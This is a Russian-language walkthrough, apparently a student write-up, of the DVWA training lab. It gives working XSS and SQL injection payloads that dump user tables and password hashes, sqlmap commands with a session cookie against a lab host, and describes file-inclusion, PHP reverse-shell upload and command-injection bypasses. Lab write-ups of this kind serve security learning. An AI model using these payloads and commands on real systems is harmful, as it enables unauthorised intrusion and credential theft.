Решение
Сначала находим default creds для DVWA. Вот они на github:
Попадаем вот сюда:
XSS (Reflected)
Форма, в которую можно ввести пользовательское значение
Вводим его и смотрим результат в html
Понимаем, что фильтрации, вероятно, нет
Используем классическую полезную нагрузку для проверки уязвимости
<script>alert()</script>
Pobeda!
XSS (Stored)
Помещаем стандартный payload куда только можно (а можно только в Message)
Радуемся тому, что мы нашли труднейшую уязвимость :)
SQL Injection (Low)
Вводим ” ’ ” , получаем ошибку в синтаксисе, что свидетельствует о возможном наличии SQLi.
Попробуем закрыть скобку и продолжить запрос логической конструкцией, которая всегда будет являться истиной.
%’ or ‘1’=‘1
Мы получили список пользователей.
С помощью универсального information_schema.tables, объединяем запросы и получаем список всех таблиц (остальную часть запроса комментируем с помощью ”#”).
%’ union select null, table_name from information_schema.tables#
Теперь из этого списка найдем необходимую таблицу. Либо находим ее ручками в списке, либо добавляем к предыдущему запросу уточнение, которое поможет нам найти ее по возможному названию (where table_name like ‘%user%’).
%’ union select null, table_name from information_schema.tables where table_name like ‘%user%‘#
Попробуем работать с таблицей users, по названию нам подходит. Запрашиваем параметры password и user из таблицы users.
%’ union select user, password from users#
Получаем имена пользователей и хеши паролей.
Изи способ:
С помощью sqlmap, можно поберечь свои лапки и вытащить точно такую же инфу за пару кликов.
Но перед этим нам нужны куки, а то без них он не работает. Берем на сайте тут:
Чтобы посмотреть все возможные таблицы, то надо прописать следующее:
sqlmap -u 'http://89.19.212.141:8080/vulnerabilities/sqli/?id=1&Submit=Submit#' --tables --cookie='security=low; PHPSESSID=l96kb9mo02s5a291gorsdr2qc3'
Тут он кстати payload пишет
Ну и вывел все таблицы
Попробуем достать пользователей. Точно такая же команда, но добавляем -D (выбор бд), -T (выбор таблицы) и —dump (вывод содержимого)
Тут не только хэши, но и аватарки есть. У админа мне нравиться больше :)
SQL Injection(Medium)
На этом уровне Post запросы. Так выглядит форма
Попробуем извлечь таблицы с помощью sqlmap. Чтобы все сработало, нам надо кое что добавить в команду. Перехватываем запрос и для удобства можно отправить в repeater.
Нам нужна только выделенная часть. Незабываем сменить в куки сложность и ссылку.
Вот сама команда:
sqlmap -u 'http://89.19.212.141:8080/vulnerabilities/sqli/#' --tables --cookie='security=medium; PHPSESSID=l96kb9mo02s5a291gorsdr2qc3' --data="id=1&Submit=Submit" --batch
Вот кстати payload
А дальше все так-же
SQL Injection (Hard)
(в процессе, пока тут только скрин)
SQL Injection Blind (Low)
Так выглядит форма
Команда:
sqlmap -u 'http://89.19.212.141:8080/vulnerabilities/sqli_blind/?id=2&Submit=Submit#' --tables --cookie='security=low; PHPSESSID=l96kb9mo02s5a291gorsdr2qc3' --batch
Сам Payload
File inclusion (Low)
Переходим в данную директорию и видим, что появилась запросовая строка, которая может передавать серверу параметр
Заменим ?page= на самую обычную нагрузку и получим доступ к файлу passwd
File upload (Low) + RCE
добавила cmd payload (позволит наблюдать за тем, что вообще как себя ведет после загрузки)
Попробуем добавить файл phpinfo.php
Он добавился, откроем его и он реально открывается
Загрузим туда monkey php payload, перейдем по предложенной ссылке и получим оболочку
File upload (medium) + RCE
Пробуем также загрузить php файл, но система имеет некоторую фильтрацию загружаемых файлов:
Открываем Burp и анализируем перехваченный запрос
У нас вводимые данные автоматически инициализируются как application/x-php, попытаемся обмануть фильтрацию и изменим тип вводных данных на image/png
Файл действительно успешно загружен
Также поймаем шелл через прослушиватель, мы в системе
Command injection (Low)
Самая простая инъекция
Command injection (Medium)
Тоже все просто, нужно всего лишь подобрать символ, на который не распространяется фильтрация
Command injection (High)
Более защищенный фильтр обходится более сложным payload
Рабочие пейлоды: Тык